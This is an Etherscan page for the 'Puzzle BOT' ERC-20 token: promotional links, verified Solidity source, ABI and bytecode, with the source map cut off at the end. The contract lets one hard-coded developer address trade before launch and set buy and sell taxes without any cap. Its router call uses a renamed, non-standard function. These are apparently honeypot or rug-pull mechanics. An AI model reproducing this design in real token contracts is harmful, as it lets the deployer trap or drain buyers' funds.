ETH Price: $2,628.11 (+1.66%)

Token

Puzzle BOT (PUZZLE)
 

Overview

Max Total Supply

100,000,000 PUZZLE

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
697,394.679805798446818273 PUZZLE

Value
$0.00
0xac85093156440dc1c403296a69c7f8834bc71e63
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PUZZLE

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-09-25
*/

/*
The Puzzle BOT $PZ🧩

Welcome to The Puzzle BOT $PZ🧩 is being protected by @SafeguardRobot


Telegram: https://t.me/ThePuzzleBot

X: X.com/Thepuzzlecoin

Website: http://puzzlebot.pro/

Bots: 
https://t.me/PuzzleLpBot

https://t.me/Puzzleinspectorbot

*/


// SPDX-License-Identifier: unlicense

pragma solidity 0.8.15;
    
interface IUniswapV2Router02 {
     function swapExactTokensForETHSupportingTAXXXOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
    
    contract PUZZLE {
        

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;

        string public   name_ = "Puzzle BOT"; 
        string public   symbol_ = "PUZZLE";  
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 100000000 * 10**decimals;

        uint256 buyTAXXX = 0;
        uint256 sellTAXXX = 0;
        uint256 constant swapAmount = totalSupply / 100;
        
        error Permissions();
        
        
    
        function name() public view virtual returns (string memory) {
        return name_;
        }

    
        function symbol() public view virtual returns (string memory) {
        return symbol_;
        }    

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed Devv,
            address indexed spender,
            uint256 value
        );
        

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant Devv = payable(address(0x4b690a15cE9eF37d37AEB94e9fBD7cc989fb379a));

        bool private swapping;
        bool private tradingOpen;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

        receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == Devv || to == Devv);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingTAXXXOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
                Devv.transfer(address(this).balance);
                swapping = false;
            }

            if(from != address(this)){
                uint256 TAXXXAmount = amount * (from == pair ? buyTAXXX : sellTAXXX) / 100;
                amount -= TAXXXAmount;
                balanceOf[address(this)] += TAXXXAmount;
            }
            balanceOf[to] += amount;
            emit Transfer(from, to, amount);
            return true;
        }

        function openTrading() external {
            require(msg.sender == Devv);
            require(!tradingOpen);
            tradingOpen = true;        
        }

        function _setTAXXX(uint256 _buy, uint256 _sell) private {
            buyTAXXX = _buy;
            sellTAXXX = _sell;
        }

        function setTAXXX(uint256 _buy, uint256 _sell) external {
            if(msg.sender != Devv)        
                revert Permissions();
            _setTAXXX(_buy, _sell);
        }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Devv","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name_","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setTAXXX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol_","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a608090815269141d5e9e9b19481093d560b21b60a0526002906200002b9082620001ca565b5060408051808201909152600681526550555a5a4c4560d01b6020820152600390620000589082620001ca565b50600060045560006005553480156200007057600080fd5b506200007f6012600a620003ab565b6200008f906305f5e100620003c3565b336000818152602081815260408083209490945530825260018152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182206000199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000fe6012600a620003ab565b6200010e906305f5e100620003c3565b60405190815260200160405180910390a3620003e5565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200015057607f821691505b6020821081036200017157634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001c557600081815260208120601f850160051c81016020861015620001a05750805b601f850160051c820191505b81811015620001c157828155600101620001ac565b5050505b505050565b81516001600160401b03811115620001e657620001e662000125565b620001fe81620001f784546200013b565b8462000177565b602080601f8311600181146200023657600084156200021d5750858301515b600019600386901b1c1916600185901b178555620001c1565b600085815260208120601f198616915b82811015620002675788860151825594840194600190910190840162000246565b5085821015620002865787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002ed578160001904821115620002d157620002d162000296565b80851615620002df57918102915b93841c9390800290620002b1565b509250929050565b6000826200030657506001620003a5565b816200031557506000620003a5565b81600181146200032e5760028114620003395762000359565b6001915050620003a5565b60ff8411156200034d576200034d62000296565b50506001821b620003a5565b5060208310610133831016604e8410600b84101617156200037e575081810a620003a5565b6200038a8383620002ac565b8060001904821115620003a157620003a162000296565b0290505b92915050565b6000620003bc60ff841683620002f5565b9392505050565b6000816000190483118215151615620003e057620003e062000296565b500290565b610ce380620003f56000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f578063af17dea611610059578063af17dea61461021b578063c9567bf914610230578063dd62ed3e14610245578063e2b9e1861461027d57600080fd5b806370a08231146101b957806395d89b41146101e6578063a9059cbb146101fb57600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d57806323b872dd1461015057806325383fc614610170578063313ce5671461019257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610292565b6040516100f4919061092c565b60405180910390f35b34801561010957600080fd5b5061011d61011836600461099d565b610324565b60405190151581526020016100f4565b34801561013957600080fd5b50610142610391565b6040519081526020016100f4565b34801561015c57600080fd5b5061011d61016b3660046109c7565b6103ae565b34801561017c57600080fd5b5061019061018b366004610a03565b6103fc565b005b34801561019e57600080fd5b506101a7601281565b60405160ff90911681526020016100f4565b3480156101c557600080fd5b506101426101d4366004610a25565b60006020819052908152604090205481565b3480156101f257600080fd5b506100e761043a565b34801561020757600080fd5b5061011d61021636600461099d565b610449565b34801561022757600080fd5b506100e761045d565b34801561023c57600080fd5b506101906104eb565b34801561025157600080fd5b50610142610260366004610a40565b600160209081526000928352604080842090915290825290205481565b34801561028957600080fd5b506100e7610537565b6060600280546102a190610a73565b80601f01602080910402602001604051908101604052809291908181526020018280546102cd90610a73565b801561031a5780601f106102ef5761010080835404028352916020019161031a565b820191906000526020600020905b8154815290600101906020018083116102fd57829003601f168201915b5050505050905090565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061037f9086815260200190565b60405180910390a35060015b92915050565b61039d6012600a610ba7565b6103ab906305f5e100610bb6565b81565b6001600160a01b03831660009081526001602090815260408083203384529091528120805483919083906103e3908490610bd5565b909155506103f49050848484610544565b949350505050565b33734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a1461042f57604051629af2b160e81b815260040160405180910390fd5b600491909155600555565b6060600380546102a190610a73565b6000610456338484610544565b9392505050565b6003805461046a90610a73565b80601f016020809104026020016040519081016040528092919081815260200182805461049690610a73565b80156104e35780601f106104b8576101008083540402835291602001916104e3565b820191906000526020600020905b8154815290600101906020018083116104c657829003601f168201915b505050505081565b33734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a1461050b57600080fd5b600654600160a81b900460ff161561052257600080fd5b6006805460ff60a81b1916600160a81b179055565b6002805461046a90610a73565b600654600090600160a81b900460ff168061057b57506001600160a01b038416734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a145b806105a257506001600160a01b038316734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a145b6105ab57600080fd5b600654600160a81b900460ff161580156105ce57506006546001600160a01b0316155b80156105da5750600082115b156105fb57600680546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03841660009081526020819052604081208054849290610623908490610bd5565b90915550506006546001600160a01b03848116911614801561064f5750600654600160a01b900460ff16155b801561068f575060646106646012600a610ba7565b610672906305f5e100610bb6565b61067c9190610bec565b3060009081526020819052604090205410155b15610824576006805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106106dc576106dc610c0e565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061072457610724610c0e565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63263cca0e60646107646012600a610ba7565b610772906305f5e100610bb6565b61077c9190610bec565b60008430426040518663ffffffff1660e01b81526004016107a1959493929190610c24565b600060405180830381600087803b1580156107bb57600080fd5b505af11580156107cf573d6000803e3d6000fd5b5050604051734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a92504780156108fc029250906000818181858888f19350505050158015610814573d6000803e3d6000fd5b50506006805460ff60a01b191690555b6001600160a01b03841630146108a6576006546000906064906001600160a01b038781169116146108575760055461085b565b6004545b6108659085610bb6565b61086f9190610bec565b905061087b8184610bd5565b3060009081526020819052604081208054929550839290919061089f908490610c95565b9091555050505b6001600160a01b038316600090815260208190526040812080548492906108ce908490610c95565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161091a91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b818110156109595785810183015185820160400152820161093d565b8181111561096b576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461099857600080fd5b919050565b600080604083850312156109b057600080fd5b6109b983610981565b946020939093013593505050565b6000806000606084860312156109dc57600080fd5b6109e584610981565b92506109f360208501610981565b9150604084013590509250925092565b60008060408385031215610a1657600080fd5b50508035926020909101359150565b600060208284031215610a3757600080fd5b61045682610981565b60008060408385031215610a5357600080fd5b610a5c83610981565b9150610a6a60208401610981565b90509250929050565b600181811c90821680610a8757607f821691505b602082108103610aa757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610afe578160001904821115610ae457610ae4610aad565b80851615610af157918102915b93841c9390800290610ac8565b509250929050565b600082610b155750600161038b565b81610b225750600061038b565b8160018114610b385760028114610b4257610b5e565b600191505061038b565b60ff841115610b5357610b53610aad565b50506001821b61038b565b5060208310610133831016604e8410600b8410161715610b81575081810a61038b565b610b8b8383610ac3565b8060001904821115610b9f57610b9f610aad565b029392505050565b600061045660ff841683610b06565b6000816000190483118215151615610bd057610bd0610aad565b500290565b600082821015610be757610be7610aad565b500390565b600082610c0957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610c745784516001600160a01b031683529383019391830191600101610c4f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115610ca857610ca8610aad565b50019056fea2646970667358221220afb274b33855b14ec02d4a696b36b5ca4f5ba3964a5252e22e9a8ffbea12150164736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c806370a082311161007f578063af17dea611610059578063af17dea61461021b578063c9567bf914610230578063dd62ed3e14610245578063e2b9e1861461027d57600080fd5b806370a08231146101b957806395d89b41146101e6578063a9059cbb146101fb57600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d57806323b872dd1461015057806325383fc614610170578063313ce5671461019257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610292565b6040516100f4919061092c565b60405180910390f35b34801561010957600080fd5b5061011d61011836600461099d565b610324565b60405190151581526020016100f4565b34801561013957600080fd5b50610142610391565b6040519081526020016100f4565b34801561015c57600080fd5b5061011d61016b3660046109c7565b6103ae565b34801561017c57600080fd5b5061019061018b366004610a03565b6103fc565b005b34801561019e57600080fd5b506101a7601281565b60405160ff90911681526020016100f4565b3480156101c557600080fd5b506101426101d4366004610a25565b60006020819052908152604090205481565b3480156101f257600080fd5b506100e761043a565b34801561020757600080fd5b5061011d61021636600461099d565b610449565b34801561022757600080fd5b506100e761045d565b34801561023c57600080fd5b506101906104eb565b34801561025157600080fd5b50610142610260366004610a40565b600160209081526000928352604080842090915290825290205481565b34801561028957600080fd5b506100e7610537565b6060600280546102a190610a73565b80601f01602080910402602001604051908101604052809291908181526020018280546102cd90610a73565b801561031a5780601f106102ef5761010080835404028352916020019161031a565b820191906000526020600020905b8154815290600101906020018083116102fd57829003601f168201915b5050505050905090565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061037f9086815260200190565b60405180910390a35060015b92915050565b61039d6012600a610ba7565b6103ab906305f5e100610bb6565b81565b6001600160a01b03831660009081526001602090815260408083203384529091528120805483919083906103e3908490610bd5565b909155506103f49050848484610544565b949350505050565b33734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a1461042f57604051629af2b160e81b815260040160405180910390fd5b600491909155600555565b6060600380546102a190610a73565b6000610456338484610544565b9392505050565b6003805461046a90610a73565b80601f016020809104026020016040519081016040528092919081815260200182805461049690610a73565b80156104e35780601f106104b8576101008083540402835291602001916104e3565b820191906000526020600020905b8154815290600101906020018083116104c657829003601f168201915b505050505081565b33734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a1461050b57600080fd5b600654600160a81b900460ff161561052257600080fd5b6006805460ff60a81b1916600160a81b179055565b6002805461046a90610a73565b600654600090600160a81b900460ff168061057b57506001600160a01b038416734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a145b806105a257506001600160a01b038316734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a145b6105ab57600080fd5b600654600160a81b900460ff161580156105ce57506006546001600160a01b0316155b80156105da5750600082115b156105fb57600680546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03841660009081526020819052604081208054849290610623908490610bd5565b90915550506006546001600160a01b03848116911614801561064f5750600654600160a01b900460ff16155b801561068f575060646106646012600a610ba7565b610672906305f5e100610bb6565b61067c9190610bec565b3060009081526020819052604090205410155b15610824576006805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106106dc576106dc610c0e565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061072457610724610c0e565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63263cca0e60646107646012600a610ba7565b610772906305f5e100610bb6565b61077c9190610bec565b60008430426040518663ffffffff1660e01b81526004016107a1959493929190610c24565b600060405180830381600087803b1580156107bb57600080fd5b505af11580156107cf573d6000803e3d6000fd5b5050604051734b690a15ce9ef37d37aeb94e9fbd7cc989fb379a92504780156108fc029250906000818181858888f19350505050158015610814573d6000803e3d6000fd5b50506006805460ff60a01b191690555b6001600160a01b03841630146108a6576006546000906064906001600160a01b038781169116146108575760055461085b565b6004545b6108659085610bb6565b61086f9190610bec565b905061087b8184610bd5565b3060009081526020819052604081208054929550839290919061089f908490610c95565b9091555050505b6001600160a01b038316600090815260208190526040812080548492906108ce908490610c95565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161091a91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b818110156109595785810183015185820160400152820161093d565b8181111561096b576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461099857600080fd5b919050565b600080604083850312156109b057600080fd5b6109b983610981565b946020939093013593505050565b6000806000606084860312156109dc57600080fd5b6109e584610981565b92506109f360208501610981565b9150604084013590509250925092565b60008060408385031215610a1657600080fd5b50508035926020909101359150565b600060208284031215610a3757600080fd5b61045682610981565b60008060408385031215610a5357600080fd5b610a5c83610981565b9150610a6a60208401610981565b90509250929050565b600181811c90821680610a8757607f821691505b602082108103610aa757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610afe578160001904821115610ae457610ae4610aad565b80851615610af157918102915b93841c9390800290610ac8565b509250929050565b600082610b155750600161038b565b81610b225750600061038b565b8160018114610b385760028114610b4257610b5e565b600191505061038b565b60ff841115610b5357610b53610aad565b50506001821b61038b565b5060208310610133831016604e8410600b8410161715610b81575081810a61038b565b610b8b8383610ac3565b8060001904821115610b9f57610b9f610aad565b029392505050565b600061045660ff841683610b06565b6000816000190483118215151615610bd057610bd0610aad565b500290565b600082821015610be757610be7610aad565b500390565b600082610c0957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610c745784516001600160a01b031683529383019391830191600101610c4f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115610ca857610ca8610aad565b50019056fea2646970667358221220afb274b33855b14ec02d4a696b36b5ca4f5ba3964a5252e22e9a8ffbea12150164736f6c634300080f0033

Deployed Bytecode Sourcemap

618:4170:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1195:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2380:222;;;;;;;;;;-1:-1:-1;2380:222:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;2380:222:0;1053:187:1;933:62:0;;;;;;;;;;;;;:::i;:::-;;;1391:25:1;;;1379:2;1364:18;933:62:0;1245:177:1;2762:208:0;;;;;;;;;;-1:-1:-1;2762:208:0;;;;;:::i;:::-;;:::i;4593:188::-;;;;;;;;;;-1:-1:-1;4593:188:0;;;;;:::i;:::-;;:::i;:::-;;887:35;;;;;;;;;;;;920:2;887:35;;;;;2185:4:1;2173:17;;;2155:36;;2143:2;2128:18;887:35:0;2013:184:1;657:45:0;;;;;;;;;;-1:-1:-1;657:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;1308:99;;;;;;;;;;;;;:::i;2614:136::-;;;;;;;;;;-1:-1:-1;2614:136:0;;;;;:::i;:::-;;:::i;840:34::-;;;;;;;;;;;;;:::i;4276:163::-;;;;;;;;;;;;;:::i;713:66::-;;;;;;;;;;-1:-1:-1;713:66:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;792:36;;;;;;;;;;;;;:::i;1195:95::-;1240:13;1273:5;1266:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1195:95;:::o;2380:222::-;2478:10;2448:4;2468:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2468:30:0;;;;;;;;;;:39;;;2527:37;2448:4;;2468:30;;2527:37;;;;2501:6;1391:25:1;;1379:2;1364:18;;1245:177;2527:37:0;;;;;;;;-1:-1:-1;2586:4:0;2380:222;;;;;:::o;933:62::-;983:12;920:2;983;:12;:::i;:::-;971:24;;:9;:24;:::i;:::-;933:62;:::o;2762:208::-;-1:-1:-1;;;;;2864:15:0;;2844:4;2864:15;;;:9;:15;;;;;;;;2880:10;2864:27;;;;;;;:37;;2895:6;;2864:27;2844:4;;2864:37;;2895:6;;2864:37;:::i;:::-;;;;-1:-1:-1;2931:27:0;;-1:-1:-1;2941:4:0;2947:2;2951:6;2931:9;:27::i;:::-;2924:34;2762:208;-1:-1:-1;;;;2762:208:0:o;4593:188::-;4667:10;1986:42;4667:18;4664:68;;4719:13;;-1:-1:-1;;;4719:13:0;;;;;;;;;;;4664:68;4522:8;:15;;;;4552:9;:17;4593:188::o;1308:99::-;1355:13;1388:7;1381:14;;;;;:::i;2614:136::-;2678:4;2705:33;2715:10;2727:2;2731:6;2705:9;:33::i;:::-;2698:40;2614:136;-1:-1:-1;;;2614:136:0:o;840:34::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4276:163::-;4331:10;1986:42;4331:18;4323:27;;;;;;4374:11;;-1:-1:-1;;;4374:11:0;;;;4373:12;4365:21;;;;;;4401:11;:18;;-1:-1:-1;;;;4401:18:0;-1:-1:-1;;;4401:18:0;;;4276:163::o;792:36::-;;;;;;;:::i;2982:1282::-;3089:11;;3061:4;;-1:-1:-1;;;3089:11:0;;;;;:27;;-1:-1:-1;;;;;;3104:12:0;;1986:42;3104:12;3089:27;:41;;;-1:-1:-1;;;;;;3120:10:0;;1986:42;3120:10;3089:41;3081:50;;;;;;3152:11;;-1:-1:-1;;;3152:11:0;;;;3151:12;:34;;;;-1:-1:-1;3167:4:0;;-1:-1:-1;;;;;3167:4:0;:18;3151:34;:48;;;;;3198:1;3189:6;:10;3151:48;3148:79;;;3218:4;:9;;-1:-1:-1;;;;;;3218:9:0;-1:-1:-1;;;;;3218:9:0;;;;;3148:79;-1:-1:-1;;;;;3244:15:0;;:9;:15;;;;;;;;;;:25;;3263:6;;3244:9;:25;;3263:6;;3244:25;:::i;:::-;;;;-1:-1:-1;;3296:4:0;;-1:-1:-1;;;;;3290:10:0;;;3296:4;;3290:10;:23;;;;-1:-1:-1;3305:8:0;;-1:-1:-1;;;3305:8:0;;;;3304:9;3290:23;:65;;;;-1:-1:-1;1115:3:0;983:12;920:2;983;:12;:::i;:::-;971:24;;:9;:24;:::i;:::-;1101:17;;;;:::i;:::-;3335:4;3317:9;:24;;;;;;;;;;;:38;;3290:65;3286:609;;;3375:8;:15;;-1:-1:-1;;;;3375:15:0;-1:-1:-1;;;3375:15:0;;;3433:17;;;3448:1;3433:17;;;;;;;;-1:-1:-1;;3433:17:0;;;;;;;;;;-1:-1:-1;3433:17:0;3409:41;;3487:4;3469;3474:1;3469:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3469:23:0;;;-1:-1:-1;;;;;3469:23:0;;;;;1708:42;3511:4;3516:1;3511:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3511:13:0;;;:7;;;;;;;;;;;:13;1794:42;3543:69;1115:3;983:12;920:2;983;:12;:::i;:::-;971:24;;:9;:24;:::i;:::-;1101:17;;;;:::i;:::-;3668:1;3692:4;3727;3755:15;3543:246;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3808:36:0;;1986:42;;-1:-1:-1;3822:21:0;3808:36;;;;;-1:-1:-1;3822:21:0;3808:36;;;;3822:21;1986:42;3808:36;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3863:8:0;:16;;-1:-1:-1;;;;3863:16:0;;;3286:609;-1:-1:-1;;;;;3914:21:0;;3930:4;3914:21;3911:232;;3995:4;;3955:19;;4026:3;;-1:-1:-1;;;;;3987:12:0;;;3995:4;;3987:12;:35;;4013:9;;3987:35;;;4002:8;;3987:35;3977:46;;:6;:46;:::i;:::-;:52;;;;:::i;:::-;3955:74;-1:-1:-1;4048:21:0;3955:74;4048:21;;:::i;:::-;4106:4;4088:9;:24;;;;;;;;;;:39;;4048:21;;-1:-1:-1;4116:11:0;;4088:24;;:9;:39;;4116:11;;4088:39;:::i;:::-;;;;-1:-1:-1;;;3911:232:0;-1:-1:-1;;;;;4157:13:0;;:9;:13;;;;;;;;;;:23;;4174:6;;4157:9;:23;;4174:6;;4157:23;:::i;:::-;;;;;;;;4215:2;-1:-1:-1;;;;;4200:26:0;4209:4;-1:-1:-1;;;;;4200:26:0;;4219:6;4200:26;;;;1391:25:1;;1379:2;1364:18;;1245:177;4200:26:0;;;;;;;;-1:-1:-1;4248:4:0;2982:1282;;;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1760:248::-;1828:6;1836;1889:2;1877:9;1868:7;1864:23;1860:32;1857:52;;;1905:1;1902;1895:12;1857:52;-1:-1:-1;;1928:23:1;;;1998:2;1983:18;;;1970:32;;-1:-1:-1;1760:248:1:o;2202:186::-;2261:6;2314:2;2302:9;2293:7;2289:23;2285:32;2282:52;;;2330:1;2327;2320:12;2282:52;2353:29;2372:9;2353:29;:::i;2393:260::-;2461:6;2469;2522:2;2510:9;2501:7;2497:23;2493:32;2490:52;;;2538:1;2535;2528:12;2490:52;2561:29;2580:9;2561:29;:::i;:::-;2551:39;;2609:38;2643:2;2632:9;2628:18;2609:38;:::i;:::-;2599:48;;2393:260;;;;;:::o;2658:380::-;2737:1;2733:12;;;;2780;;;2801:61;;2855:4;2847:6;2843:17;2833:27;;2801:61;2908:2;2900:6;2897:14;2877:18;2874:38;2871:161;;2954:10;2949:3;2945:20;2942:1;2935:31;2989:4;2986:1;2979:15;3017:4;3014:1;3007:15;2871:161;;2658:380;;;:::o;3043:127::-;3104:10;3099:3;3095:20;3092:1;3085:31;3135:4;3132:1;3125:15;3159:4;3156:1;3149:15;3175:422;3264:1;3307:5;3264:1;3321:270;3342:7;3